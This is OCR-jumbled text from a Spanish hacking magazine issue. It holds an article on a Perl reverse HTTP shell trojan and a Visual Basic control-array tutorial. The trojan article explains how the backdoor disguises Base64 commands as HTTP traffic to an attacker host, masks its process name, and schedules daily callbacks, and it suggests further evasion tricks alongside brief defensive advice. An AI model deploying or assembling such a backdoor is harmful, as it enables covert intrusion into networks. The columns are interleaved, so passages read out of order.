nos han vencido... Qu podemos hacer? 2.- A mi TAMBIN me gusta el perl.
Tenemos dos opciones: 3.- Nos introducir en el conocimiento de la
existencia de un lenguaje de programacin muy
1.- Echarnos a llorar y dedicarnos a algo ms elegante, simple y potente.
productivo como poner velas a San Clementino.
Para empezar, podemos hacer una breve
2.- Crear (o buscar) un troyano que: introduccin al lenguaje perl.
a) inicie la conexin desde el interior de la red
hacia mi mquina, y no al revs. 4.1 INCISO POTICO... EL
b) Me suministre una interfaz de comandos. LENGUAJE PERL.
c) Lo haga emulando el protocolo HTTP.

Q u e s P e r l ? ( E x t ra d o d e " Pe r l
Es decir, precisamos un "reverse shell" que
documentation" (documentacin Perl)).
simule que el trfico cursado es HTTP (como
"Perl es un lenguaje de programacin de alto
si se estuviese navegando por un servidor web)
nivel de orientacin eclctica escrito por Larry
Wall y miles de colaboradores. Deriva del
Pues bien... La opcin 2 es la que eligi nuestro
lenguaje C y, en menor grado, de utilidades
amigo Van Hauser, y la que tratar de explicar
como sed, awk, el shell de UNIX y una docena
a continuacin.
de otras herramientas y lenguajes. Las facilidades
de manipulacin de texto, ficheros, procesos y
Para ello, partiremos del programa que escribi
Bases de Datos que nos ofrece perl lo hacen
tan renombrado miembro de THC: rwww-
particularmente til para tareas relacionadas
shell.pl. Pero usaremos una versin ligeramente
con el prototipado rpido, utilidades de sistema,
retocada por m para ilustrar dos cosas:
herramientas software, administracin de
1.- La sencillez y potencia del lenguaje perl.
sistemas, acceso a Base de Datos, programacin
2.- El lmite a esta tcnica lo pone solo la
grfica, networking y programacin de CGIs...
imaginacin.

Existe una tercera razn. Cuando prob el


programa me cortaba las salidas de ficheros
grandes al hacer, por ejemplo, un cat de dichos
ficheros (similar al type de windows). Por ello,
y como quera ver los ficheros enteros, decid
incluir un par de modificaciones menores ;)

! Como expuse...

Como expuse al principio, este programa est diseado


para correr en mquinas UNIX/Linux que tengan el perl
instalado (la mayora de ellas deberan tenerlo).

Pgina 36 PC PASO A PASO N 8


REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl

Como se puede deducir de esta definicin, Perl


es, fundamentalmente, un lenguaje de
programacin. Podramos decir que es un
lenguaje de programacin que se compila en
fase de ejecucin (algunos prefieren el trmino
La explicacin del lenguaje en s escapa al
"interpretado").
objetivo de este artculo. Existen cientos de
libros excelentes sobre el tema. Incluso existe
La potencia de perl viene derivada de que, a
un CD de O'Reilly con 6 libros sobre Perl... Un
pesar de ser un lenguaje de muy alto nivel,
CD excelente, si se me permite decirlo.
que nos permite hacer de forma MUY fcil lo
que en C nos costara sudores, nos da un
Cmo es un programa en Perl?
elevado grado de control de funciones de bajo
Enseguida vers un ejemplo. Baste decir aqu
nivel del sistema. No es, obviamente, tan
que un programa en perl tiene el aspecto de
eficiente como C en trminos de rendimiento...
un script (como los ficheros .bat de Windows
Pero es mucho ms eficiente en trminos de
o los shell-script de UNIX). Necesita conocer
productividad, dado que podemos programar
la ruta del intrprete (primera instruccin del
mucho ms rpidamente utilidades que hagan
script) si se desea ejecutar directamente, o se
lo mismo.
puede ejecutar si llamamos al programa a
travs del intrprete (p.ej.: mi_maquina$
Es por ello que se ha hecho muy popular entre
/usr/bin/perl mi_programa.pl).
Administradores de Sistemas (y entre
programadores de CGIs, por qu no
decirlo ;)).

Por qu debera perder tiempo


aprendiendo Perl? En primer lugar... Porque
NO es una prdida de tiempo. Con Perl podrs Por convencin, Y SOLO por convencin, se
automatizar rpida y eficientemente tareas suele poner la extensin .pl a todos los scripts
rutinarias de administracin. Podrs crear perl... Pero esto NO es obligatorio.
procesos por lotes tremendamente potentes
de forma rpida. Es Open Source (no tienes Perl puede parecer crptico, en un primer
que pagar por el compilador/intrprete, ni por acercamiento. De hecho, una experto
las libreras ni por distribuirlo ni...). Podrs programador perl utilizar muy pocas lneas
programar potentes aplicaciones informticas de extrao aspecto para codificar un programa...
orientadas al web, portables y escalables. Por Pero no es mas crptico que C, por ejemplo.
si todo esto fuese poco, si aprendes algo de Tambin es importante entender el concepto
Perl... PODRS ENTENDER EL CDIGO DEL y funcionamiento de las "expresiones regulares"
PROGRAMA DESCRITO EN ESTE ARTCULO ;) en perl, pues nos darn una potentsima
Te parece poco? :) herramienta de trabajo y programacin.

Cmo puedo aprender e instalar Perl? Y nada ms. Hecho este inciso volvemos al
Bueno... Mi recomendacin es que visites en tema que nos ocupa... "Podemos engaar al
primer lugar CPAN (www.cpan.org) Desde all firewall ese de las narices?"
podrs descargarte Perl, as como ver
documentacin y encontrar enlaces de 4.2 LA "MAGIA" DEL TROYANO.
importancia. Como se ha dicho, esto no es ms que un

PC PASO A PASO N 8 Pgina 37


REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl

intento de profundizar en un concepto. Este "encriptado"... Ofuscado o codificado sera mas


programa puede ser MUY mejorado para correcto. Se utiliza el sistema de codificacin
resultar mucho ms... til. Pero creo que ilumina Base 64, muy usado en comunicaciones web y
lo que se trata de explicar en estas lneas. que, por lo tanto, debera pasar desapercibido
a un observador casual que estuviese esnifando
Qu hace el troyano? la conexin. Desde luego, NO es un mtodo de
Este programa opera de forma muy simple. Se encriptacin como tal, aunque MS as lo hiciese
trata de un nico script escrito en Perl que se creer en su da.
usar en modo "slave" (en la mquina vctima)
o en modo "master" (en la mquina atacante).
Para ello solo se debe correr (ejecutar) el
! S quieres...
programa indicando en la lnea de comandos
el parmetro slave o master. Si quieres saber ms sobre BASE64, puedes empezar por
esta Web: http://www25.brinkster.com/seninx/base64.asp.
La operativa es simple: Entre otras cosas te ofrece el enlace a la RFC1113 y un
El esclavo tratar de conectarse al maestro codificador/decodificador ON-LINE ;)
cada da a una hora concreta (si se especifica
de esa forma). Una vez lograda la conexin la
comunicacin se establece de la siguiente
manera... Veamos un ejemplo:

Sentido: Slave -> master


Contenido: GET /cgi-
bin/order?M5mAejTgZdgYOdgIO0BqFfVYTgjF
LdgxEdb1He7krj HTTP/1.0

Algo as ser lo primero que el esclavo enve


al maestro. Esta lnea, emulando una peticin
normal HTTP en su versin 1.0, lo nico que A continuacin el esclavo (slave) o mquina
hace es enviar al "master" el prompt del shell vctima enviara de nuevo un GET con el listado
del sistema remoto. Es decir, el master mostrara del directorio actual que le hemos pedido
el prompt de una consola shell remota normal codificado en Base 64... Y as sucesivamente.
y corriente (como si hubisemos hecho un
telnet). Qu tenemos? Pues una sesin interactiva en
modo comando con una mquina situada detrs
Ahora el master debe responder (obviamente, de un cortafuegos que, mediante una aplicacin
como en todo trfico HTTP a una peticin sigue "gateway" o "proxy" permite que el trfico de
una respuesta) peticiones sea slo de tipo HTTP... Sin meterse
Sentido: Master -> Slave demasiado en honduras.
Contenido: g5mAlfbknz
El firewall vera al "slave" como si fuese un
Esta respuesta no es ms que un comando usuario normal y corriente, "de carne y hueso",
"ls" (como un "dir" de Windows) ejecutado usando su navegador para hacer peticiones a
desde el master. un servidor web (navegar) y recibiendo las
respuestas de dicho servidor. En los logs se
Como habris visto, el trfico circula apreciara EXACTAMENTE lo mismo, dado que

Pgina 38 PC PASO A PASO N 8


REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl

son "peticiones vlidas" y "trfico permitido" !list : Muestra una lista con un identificador
toda la comunicacin pasara sin problemas ni nico por cada slave conectado actualmente.
alerta a travs del sistema de seguridad que !use <id>: Permite conmutar entre slaves. El
mont este Administrador. En realidad, las valor <id> debe ser sustituido por uno de los
respuestas del "servidor web" sern los identificadores nicos que nos muestra el
comandos que deseamos ejecutar y las comando !list.
"peticiones del cliente" la salida (el resultado)
de dichos comandos. NOTA Para los que quieran "bucear" en el
programa...
Pero... Qu pasa si un administrador curioso Tuve que modificar la parte del "master" por
observa que hay conexiones a una pgina web las razones que expuse antes:
nueva o referenciada como IP o, simplemente, a) para que pudiese leer toda la informacin
que no le suene?... O si alguien os escanea enviada (por el problema que tuve con los
los puertos y trata de conectarse a vuestro archivos de texto largos).
puerto 80 donde escuchar el programa en b) para introducir el concepto de "comandos
modo master? Pues nada. Para eso se usa una de control".
variable de "clave" ($PASSWORD) que, de no
ser encontrada por el master en la peticin Podris comprobar que el acceso a sockets se
provocar que se devuelva un mensaje de "esa realiza de una forma distinta. En este caso
pgina no se encuentra en este servidor" o el decid usar las funciones del mdulo IO::Socket
mensaje que prefiris dar... para introducir una forma ms cmoda de
manejar sockets que con las funciones del
ESO ES EXACTAMENTE LO QUE BUSCBAMOS! mdulo original Socket utilizadas por Van
Increble. Un firewall puede ser burlado para Hauser...
permitir la conexin remota...
Para los que quieran "tocar a fondo" el
Modificaciones "autctonas". cdigo (sugerencias)...
Como dije, introduje algunas modificaciones Cuando me plante este artculo pens en
(muy pequeas) en el programa de Van Hauser. incluir un conjunto ms amplio de opciones
En primer lugar... Originalmente, solo permita dentro del programa, pero no lo hice por dos
UN SLAVE cada vez. Ahora puede haber tantos razones:
como se desee... a) La falta de tiempo.
b) No era necesario para ilustrar el concepto.
Tambin he incluido una opcin de "logging"
que permite enviar una sesin a un fichero log, Sin embargo, una vez incluido el concepto de
adems de verla en pantalla. "comandos de control", hay una serie de ideas
que, como ejercicio, podran resultar de inters.
Adems, he introducido el concepto de Veamos algunas...
"comando interactivo" en el programa. Esto
es, se pueden ejecutar determinadas acciones - Que el programa permita el intercambio de
de CONTROL que NO sern ejecutadas como ficheros entre la vctima y el atacante. "Puede
si de un comando se tratase en la mquina hacerse?" preguntareis... Pues se me ocurre
atacante... Actualmente solo he implementado que es prcticamente trivial. Para que est el
2, para demostrar el concepto (observar el ! formato MIME, por ejemplo? ;)
delante del comando... Indica que se trata de - Que el "master" devuelva una pgina HTML
un comando de control): ms compleja (y no el simple mensaje tpico

PC PASO A PASO N 8 Pgina 39


REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl

de 404 pagina no encontrada) cuando la peticin buscando conexiones a una misma IP a


que recibimos no cumple las reglas de nuestro intervalos "demasiado regulares" y desconfiar
slave (y por lo tanto la est haciendo un de ellos... Aunque si el atacante modifica
desconocido). Esta pgina podra parecer que regularmente la hora diaria a la que se ejecuta
te pide autenticacin para entrar en la "coleccin el backdoor o dispone de varias IPs entre las
de fotos familiares" o algo as (eso explicara que alternar no encontraremos un patrn
el denso trfico en las peticiones del cliente al adecuado.
servidor... podran pasar por "uploads" ;)
- Tambin para el caso de peticiones "no Tambin podemos "esnifar" regularmente a la
adecuadas" (que no vengan del slave), se bsqueda de comunicaciones HTTP no
podra "redirigir" el trfico hacia un autentico habituales (p.ej. en las que el cliente enva
servidor web... Esto hara que pareciese "an mensajes muy largos en sus peticiones)... Pero
ms" que en nuestro puerto 80 hay un servidor esto no deja de ser pesado y difcil de precisar,
web, en el caso de que un administrador podra ayudarnos a detectar un backdoor de
quisiese entrar a "fisgonear" ;) estas caractersticas.
- Incluir una capa SSL para el trfico... (Adis
BASE 64. Hola querida encriptacin ;) ). Tambin, hacernos con algn software que nos
permita escanear regularmente los equipos de
Todo esto hara de este "programa ejemplo" nuestros usuarios en busca de programas o
una curiosa herramienta de seguridad, ms archivos no instalados por nosotros podra
potente y difcil de detectar... Y seguro que ayudar... pero en el caso de tener muchos PCs
vuestra calenturienta mente es capaz de seguira siendo una tarea de titanes (aunque
imaginar ms modificaciones... no? Pues eso, restrinjamos por "tipo de documento", este
a practicar :) programa podra tener cualquier extensin y
es en texto plano). Herramientas como "tripwire"
Y ahora... La gran pregunta: Cmo podran ser tiles en este contexto, al menos
podemos protegernos de este tipo de para las mquinas ms sensibles...
ataques?
La respuesta es complicada, dado que no existe Buscar algn gateway que sea "ms inteligente"
una "varita mgica". Aunque el programa y que pueda analizar el contenido de los
original (rwww-shell) pueda ser detectado por paquetes HTTP en busca de patrones... No
antivirus, una modificacin en el mismo bastar conozco una herramienta as en estos
para que no lo reconozcan. momentos, lo cual no quiere decir que "no
exista", of course ;). Adems, las herramientas
Un proxy autenticado ayudar, pero no resolver analizadoras de contenido HTTP inciden en el
el problema. El educar a nuestros usuarios es rendimiento de nuestras conexiones web (los
imprescindible a todas luces, aunque en el caso usuarios notarn un descenso en la velocidad
de que el que inyecta el backdoor trabaje en de navegacin). Como siempre, se debe valorar
la casa no servir de nada. Incluso algunos la relacin entre seguridad y operatividad segn
usuarios bien intencionados pasarn por alto la dinmica de cada empresa concreta.
nuestras recomendaciones ante un correo
jugoso o un link interesante, confiando Como muchas otras veces, lo nico que
plenamente en el antivirus (si lo tienen) para podemos hacer es estar vigilantes, auditar con
sentirse seguros. regularidad nuestros sistemas y estar al loro
ante herramientas nuevas que puedan surgir
Podemos colocar un IDS y revisar los logs en este aspecto (tanto de ataque como de

Pgina 40 PC PASO A PASO N 8


REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl

defensa)... Configuracin
La forma de configurar el programa es muy
4.3. EL PROGRAMA EN S MISMO. simple. Se debe editar, con cualquier editor de
Bien, pasemos ahora al programa en s. Antes texto plano (no procesador de textos, OJO) y
de nada un par de aclaraciones: poner los parmetros adecuados. Veamos como:

1.- No puedo garantizar que funcione con todos Las lneas que comienzan por el carcter "#"
los cortafuegos ni con todos los proxys son lneas de comentario, NO forman parte del
y gateways HTTP. Funciona con los cdigo. Y el programa no las tendr en cuenta.
que yo los he probado (no, no pienso decir Es como si no estuviesen... Es una buena forma
cuales ;)). de habilitar o deshabilitar opciones. Si hay un
# delante de una variable, esa variable NO se
2.- Vuelvo a insistir en la intencin de esta inicializando (es como si no existiese).
"proof of concept" de este artculo y este
programa. Que nadie espere un ejemplo de
programacin avanzada, ni la octava Seccin de CONFIGURACIN GENERAL
maravilla del mundo. De hecho, he respetado # configuracin general (Salvo para $MASK el
el programa de Van Hauser tanto como he #resto debe ser igual para el master y el slave
podido... Eso incluye los "goto's" que el haba #en esta seccin
utilizado. #
$MODE="POST"; # GET or POST
3.- De nuevo recalcar (ya se que soy pesado... $CGI_PREFIX="/cgi-bin/orderform";# debe
qu pasa?) que este programa, as como este #parecer un cgi vlido...
artculo, se han realizado con la idea de mejorar $MASK="TROYANO_MALO";
el conocimiento sobre como vuestros sistemas # for masking the program's process name
pueden ser atacados con el fin de que podis $PASSWORD="MIA"; # anything,
estar prevenidos. EN NINGUN caso animo, #nothing you have to remember
apoyo, realizo, comulgo ni colaboro con ningn # (not a #real "password" anyway)
tipo de acto delictivo. All cada uno con su
conciencia... a) Primero vemos la lnea $MODE. No
entrar en detalles sobre los mtodos definidos
Limitaciones en HTTP para el intercambio de informacin
El programa no funciona bien con comandos con el usuario... Simplemente elegir GET o
interactivos (como el vi, por ejemplo o el sqlplus POST (Por defecto POST).
de ORACLE). Se debe usar con comandos que b) Luego tenemos $CGI_PREFIX. Esta
se ejecuten y terminen en una sola pasada, cadena es la que se enviar en la solicitud
sin pedir mas datos al usuario... Sin embargo, (emulada) HTTP... Podis poner lo que mas os
esto no es un problema para aquellos de guste, siempre que parezca que se hace
vosotros que de verdad os empeis en hacer referencia a un CGI que pudiera ser vlido. Por
algo. Por ejemplo, un sencillo archivo de defecto "/cgi-bin/orderform", pero podra ser
comandos en shell-script podr interactuar con /cgi-bin/mi_cgi.cgi
cualquier programa que pida datos al usuario c) Luego el parmetro $MASK. Este es
(si conocemos la secuencia de respuestas que importante. Se trata del "nombre" con que
deseamos dar) . Dicho script podr despus aparecer el programa al hacer un "ps" para
ser ejecutado con el troyano sin problemas y ver los procesos activos en la maquina vctima...
capturar la salida ;) Lgicamente NO debera llamarse

PC PASO A PASO N 8 Pgina 41


REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl

TROYANO_MALO. Sera mejor algo como "lpd" #$PROXY_PORT="3128"; # Puerto del proxy
o "vi" o "/bin/sh/" o cualquier otro nombre que #si lo hay...
no resulte "cantoso" para un administrador ;) #$PROXY_USER="user"; # Nombre del
d) Finalmente la variable $PASSWORD. #usuario para autenticarse en el proxy (si se
No es un password real. Se usa solamente #requiere)
para identificar que el intento de conexin se #$PROXY_PASSWORD="pass";# password
realiza desde el slave que nosotros colocamos, #$DEBUG="yes"; # Solo para debugging
y no se trata de un extrao tratando de ver #$BROKEN_RECV="yes"; # Para AIX &
que hay en el puerto 80 de nuestra maquina #OpenBSD, NO para Linux ni Solaris
atacante. Por defecto "MIA".
a) $SHELL. EL shell que deseamos ejecutar.
Normalmente ser /bin/sh
Seccin de CONFIGURACION PARA EL MASTER b) $DELAY. El tiempo que esperar el slave a
# CONFIGURACION PARA EL MASTER que termine de ejecutarse un comando concreto
#(Obligatoriamente deben llevarlo igual el antes de enviar la salida al master. Es importante
#master y el slave) notar que por defecto est en 2 segundos...
# pero si vamos a ejecutar un script largo en la
$LISTEN_PORT=80; # Puerto en el que mquina atacada o similar deberemos aumentar
#escuchara (80 necesita permisos de root)) este tiempo para evitar problemas.
$SERVER="www.mimaquina_atacante.com"; c) $TIME. Hora a la que el programa iniciar
# EL host atacante... vale IP o nombre DNS) la conexin. Si se omite (o se comenta como
est por defecto) el programa slave tratar de
a) $LISTEN_PORT. En esta variable ponemos iniciar la conexin al ejecutarlo.
el puerto en el que el master estar a la d) $DAILY. Importante... Si queremos que el
escucha y al que al slave tratar de conectarse. programa trate de conectarse todos los das
Por defecto 80. deberemos descomentar esta lnea (por defecto
b) $SERVER. La direccin IP o nombre DNS comentada)... Lo har a la hora especificada
de nuestra mquina atacante (en la que en $TIME, que deber colocarse a un valor
estamos corriendo el master). adecuado. Si no descomentamos esta lnea, el
programa NO se conectar todos los das.
e) $PROXY ... $PROXY_PASSWORD: Variables
Seccin de CONFIGURACIN PARA EL SLAVE importantes en caso de que la conexin al
# CONFIGURACION DEL SLAVE (Solo importa exterior desde la maquina atacada se realice
#para el slave... El situado en la maquina a travs de un proxy... el usuario y el password
#atacada) se especificarn si dicho proxy es autenticado
# f) $DEBUG. Saca en pantalla informacin sobre
$SHELL="/bin/bash -i"; # Shell a ejecutar... lo que va haciendo el programa... Solo durante
$DELAY="2"; # Tiempo de espera el tiempo de depuracin (Es demasiado cantoso
#para la salida tras los comandos... sobre todo en el slave ;) )
#$TIME="15:58"; # Hora de conexin g) $BROKEN_RECV... Para solucionar un
#al master (ahora mismo si no se especifica problema con los AIX y OPENBSD en el manejo
#una) de sockets. No se necesita en otros UNIX (ni
#$DAILY="yes"; # Intenta conectarse en LINUX)
#una vez al da si se especifica aqu
#$PROXY="127.0.0.1"; # En caso de Como vemos, el slave solo necesita
#necesitar un proxy... OBLIGATORIAMENTE que definamos las

Pgina 42 PC PASO A PASO N 8


REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl

variables $SHELL y $DELAY para probarlo. El etc. (no el word ni ningn "procesador" de
resto son opcionales en funcin de lo que textos).
queramos hacer y de la tipologa de la red (en
el caso de las variables relacionadas con el El nombre del programa puede ser el que os
PROXY). de la gana. Yo he decidido llamarlo rws.pl, para
no confundirlo con el original de Van Hauser
Y nada ms. Una vez editadas estas lneas y (rwww-shell.pl) y respetar la intencin de su
modificado el valor de las variables que debis nombre ("reverse-web-shell" o "shell inverso
modificar (tal y como se ha explicado mas va web").
arriba) solo deberis ejecutar el programa en
modo slave en un ordenador remoto y en modo Por ltimo... Recordad. Las lneas que empiezan
master en el vuestro (o ambos en el mismo si con # SON COMENTARIOS. No se interpretan
tenis una red loopback definida)... como parte del cdigo. Podis descomentar
una lnea (una inicializacin de variable, p.ej.)
OJO. Es importante que el "master" este activo quitando el carcter # inicial. Podis volver a
y escuchando ANTES de que el slave trate de comentarla colocando uno de nuevo.
conectarse. De lo contrario... El slave cerrar
su conexin y no volver a intentarlo hasta el MUY IMPORTANTE: El cdigo del
da siguiente (si se ha puesto "yes" en la variable programa lo tienes en la seccin
$DAILY, claro y descomentado la lnea tal como PROGRAMAS de nuestra Web
se explic). (www.hackxcrack.com). No lo hemos
puesto en la revista porque ocupa seis
Ejecucin... pginas ;p
Si ejecutas el programa sin argumentos, saca
una lnea indicando la sintaxis que debes utilizar:

usar: rws master|slave [-l [directorio_log]

El primer parmetro es obligatorio y podr ser EL GANADOR DEL


"master" o "slave" (sin comillas, plz ;)).
El segundo parmetro es opcional. Indica que SORTEO DE UN SUSE
se crear un fichero de log con la sesin actual
(siempre en el master, NUNCA en el slave)... LINUX 8.1 DEL MES DE
Si no se indica un "directorio_log" el fichero se
crear en el directorio actual.
FEBRERO ES:
MARCO ANTONIO
El cdigo completo del programa.
Recordad que la primera lnea del programa CAMPILLEJO CANDEA
hace referencia al PATH (camino) absoluto y
completo en el que se encuentra el intrprete MADRID
de Perl (p.ej. /usr/bin/perl), necesario para
ejecutarlo. SEGUIR LLAMANDO, EL PROXIMO
PODRIA SER PARA TI (PAG 51)
Podis copiar este programa y editarlo con
cualquier EDITOR DE TEXTO PLANO, como el
vi, el pico, el nano, el kwrite, el "bloc de notas",

PC PASO A PASO N 8 Pgina 43


La calculadora:
Rizando el rizo
Por pedro del valle

* Aprenderemos lo que es un "array de controles" y un "vector"


* Aplicaremos estos nuevos conceptos a la Calculadora que
construimos en el nmero anterior.
* Crearemos un OCX (Control de Usuario)
Cmo? Qu?
Venga, que no es tan difcil :)

Bienvenidos de nuevo al curso de programacin pero que pueden recibir diferentes valores,
en Visual Basic. En la ltima entrega hicimos, declaradas con el mismo nombre (identificador).
desde 0, una calculadora. Alguien apreci en
los foros de PC paso a paso que tal vez, el Menudo rollo. Si me habis entendido es porque
cdigo que gestionaba los nmeros pulsados sois realmente buenos, ya que no yo mismo
para despus procesarlos, fuese demasiado me entiendo. Por eso creo que es mejor que
largo y repetitivo, y pregunt si era posible pongamos un ejemplo prctico, como siempre,
reducirlo. Tambin creo recordar que alguien y as vemos la utilidad de los vectores.
respondi: "un array de controles..."
- Abrimos un proyecto nuevo, eligiendo como
Un array de controles, esa sera la solucin proyecto "Exe estndar".
exacta para reducir todas esas lneas en unas
pocas. - Al formulario le aadimos dos botones, como
ya hemos hecho en la calculadora, y los
Hoy tena previsto explicaros que era un OCX llamamos Cmd1 y Cmd2. Hasta aqu nada
y crear uno tambin desde 0, y as haremos, nuevo, pero ahora vamos a jugar un poco con
pero antes debemos explicar qu s y como se los nombres de estos controles.
implementa un array (matriz) de controles en
cualquier proyecto de VB, y en este caso, lo - Picamos sobre el segundo botn, y vamos a
haremos sobre la calculadora que ya deberamos su propiedad Nombre. Aqu cambiamos Cmd2
tener acabada. por Cmd1 (s, s... no me he vuelto loco, ya s
que tenemos un botn con el mismo nombre).
Ahora presionamos intro y nos debera aparecer
1.- Qu es un "array"? Qu es un mensaje como el de la imagen, si tenemos
un "vector"? la versin en castellano.

Bien, antes de todo deberamos saber qu es


un array o matriz de controles. Para poner un
ejemplo sencillo, antes del array de controles,
explicaremos que es un vector. Lo podramos
definir como varias variables del mismo tipo,

Pgina 44 PC PASO A PASO N 8


LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO

- Le decimos "S". Automticamente hemos Ya tenemos un vector de nmeros enteros,


creado un array (matriz) de controles, ya que ahora vamos a interactuar con l.
tanto el botn 1 como el botn 2 tienen el
mismo nombre, tan solo los distingue su - Haced doble click sobre el primer botn que
propiedad Index. hemos creado y escribid un comentario como
este

! La propiedad... ' Estoy en Cmd1

La propiedad Index la podemos visualizar y editar en el


cuadro de propiedades del objeto
! Los comentarios...

Los comentarios en VB, como en cualquier otro lenguaje


de programacin, sirven para hacer ms legible el cdigo.
Lo que se escriba en los comentarios solo ser visto por el
! Comentario de... programador, y no provocar errores. Para hacer una lnea
de comentario en VB ponemos primero el carcter ' y
despus escribimos el comentario. Podemos apreciar que
Comentario de Hack x Crack: En los nmeros anteriores
el texto adquiere el color verde.
ya explicamos cmo conseguir el compilador de Visual
Basic, el proceso de instalacin y cmo compilar un
programa. Si tienes dudas repasa los nmeros anteriores - Ahora volvamos al diseo del formulario y
y si no los pudiste comprar pdelos en nuestra Web piquemos dos veces sobre el segundo botn.
(www.hackxcrack.com) Qu ha pasado?, si lo hemos hecho bien el
cursor debera haberse posicionado de nuevo
en la misma lnea donde habamos escrito el
Vale, ahora que tenemos un array vamos a comentario.
declarar un vector. Hay que tener en cuenta
que nuestro array de controles y el vector que Private Sub Cmd1_Click(Index As Integer)
vamos a declarar no tienen nada que ver, 'Estoy en Cmd1
sencillamente he pensado matar los dos pjaros End Sub
de un tiro, y explicaros vectores y arrays de
controles en un mismo ejercicio. Una vez Esto es totalmente correcto, ya que ahora no
aclarado esto vamos al grano. tenemos dos botones independientes sino que
es un mismo botn con diferente ndice. Si os
- Abrimos el editor de cdigo de VB (doble dais cuenta ha aparecido un texto entre los
click sobre el formulario, por ejemplo) y vamos parntesis que en la calculadora no tenamos.
a la primera lnea. "Index as integer" significa que en la variable
Index VB va a introducir el ndice del botn
- Escribimos el siempre recomendado Option pulsado, es decir, que si hemos presionado el
Explicit, y justamente despus, un vector botn 1 Index valdr 0, y si hemos pulsado el
de nmeros enteros, de la siguiente botn 2, Index valdr 1 (o los que hallamos
manera puesto en el cuadro de propiedades).

Option explicit Para hacer el ejemplo prctico vamos a cargar


Dim IntNum(2) as Integer con dos valores el vector que hemos declarado

PC PASO A PASO N 8 Pgina 45


LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO

anteriormente. condicionales para acabar el ejercicio.

Private Sub Cmd1_Click(Index As Integer)


! Por defecto...
'Estoy en Cmd1
If Index = 0 Then
Por defecto, VB pone el ndice 0 al primero botn, ya que MsgBox IntNum(1)
para el 0 es el primer nmero, no 1. End If
If Index = 1 Then
MsgBox IntNum(2)
End If
- Vamos al evento Form_Load picando dos
End Sub
veces en el formulario. En este evento vamos
a introducir dos valores enteros a "IntNum" de
- Ejecutamos el programa y pulsamos los dos
la siguiente manera:
botones. Si todo ha ido bien, el primero debera
mostrar un mensaje con el nmero 10, y el
Private Sub Form_Load()
segundo con el nmero 22.
IntNum(1) = 10
IntNum(2) = 22
End Sub
! En ningn...
Que hemos hecho?, pues ahora los valores
"10" y "22" estarn alojados en IntNum(1) e En ningn caso pueden haber dos controles dentro de una
IntNum(2) respectivamente. matriz que tengan el mismo Index, si intentsemos hacer
esto veramos el siguiente mensaje de error

! El vector...

El vector IntNum se ha declarado como un vector de 2


posiciones, es decir, jams podremos introducir un valor
en la posicin IntNum(3) ya que no existe. Si deseramos
tener mas posiciones, en este caso, declararamos a IntNum
con las posiciones necesarias. (Por ejemplo: IntNum(10)
para 10 posiciones.)

A partir de ahora tenis que pensar que


IntNum(1) es una variable y IntNum(2) es otra,
con valores distintos. 2. Aplicando lo aprendido : Una
array en la calculadora
- Una vez cargados los valores, vamos de nuevo
al Form_Load y borramos la lnea de comentario Espero de veras que hallis entendido que es
que anteriormente habamos escrito (Tambin y como se utiliza tanto un vector como un array
podis dejarla, lo dejo a vuestra eleccin). de controles. Si nos fijamos bien podemos
apreciar que son muy parecidos, ya que estamos
Para distinguir el botn que se ha pulsado hablando de un mismo objeto/variable que
tenemos, como ya hemos dicho antes, el Index, contiene varios valores diferenciados por su
entonces escribiremos estas sentencias ndice.

Pgina 46 PC PASO A PASO N 8


LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO

Private Sub Cmd5_Click()


! Los valores que... TxtOper.Text = TxtOper.Text & "5"
End Sub

Los valores que aadimos a un vector tienen que ser siempre Private Sub Cmd6_Click()
del mismo tipo al que hemos declarado la variable, es decir, TxtOper.Text = TxtOper.Text & "6"
en el caso de IntNum(x), al ser integer, lo que queramos End Sub
introducir en ella, siempre deber ser un valor entero,
independientemente el ndice de la variable. Private Sub Cmd7_Click()
TxtOper.Text = TxtOper.Text & "7"
End Sub
Bien, ahora abramos la calculadora. En el diseo
del formulario, vamos a los diferentes botones Private Sub Cmd8_Click()
y les cambiamos el nombre a Cmd1 (a todos) TxtOper.Text = TxtOper.Text & "8"
y cambiamos tambin la propiedad Index de End Sub
cada uno de ellos con el nmero que le
corresponda segn su valor (es decir, si el Private Sub Cmd9_Click()
botn que estamos cambiando era el Cmd0, TxtOper.Text = TxtOper.Text & "9"
su nuevo Index debera ser 0, para nuestra End Sub
comodidad en este ejercicio).
Una vez tenemos cambiados todos los botones, Una vez borradas, picamos dos veces sobre
es hora de acabar con esto. cualquiera de los botones, (recordemos que
Primero, borramos todas las lneas del cdigo ahora son todos el mismo botn, diferenciados
anterior, que ahora son totalmente intiles. por el ndice) y aadimos la siguiente lnea
Las lneas exactas que tenis que borrar son
las siguientes: Private Sub Cmd1_Click(Index As Integer)
TxtOper.Text = TxtOper.Text & Index
Private Sub Cmd0_Click() End Sub
TxtOper.Text = TxtOper.Text & "0"
End Sub Que hace esto? Pues estamos concatenando
el valor de TxtOper con el del Index que, si
Private Sub Cmd1_Click() antes lo hemos hecho bien, debera tener el
TxtOper.Text = TxtOper.Text & "1" mismo valor que el del botn (0 para el Cmd0,
End Sub 1 para el Cmd1...).
Otra posibilidad, la cual me gusta mas, seria
Private Sub Cmd2_Click() la siguiente:
TxtOper.Text = TxtOper.Text & "2"
End Sub Private Sub Cmd1_Click(Index As Integer)
TxtOper.Text = TxtOper.Text &
Private Sub Cmd3_Click() Cmd1(Index).Caption
TxtOper.Text = TxtOper.Text & "3" End Sub
End Sub
En este caso estamos concatenando TxtOper
Private Sub Cmd4_Click() con el Caption del botn pulsado, que es el
TxtOper.Text = TxtOper.Text & "4" mismo que el valor que necesitamos.
End Sub Ejecutamos el proyecto, y si todo ha ido bien,

PC PASO A PASO N 8 Pgina 47


LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO

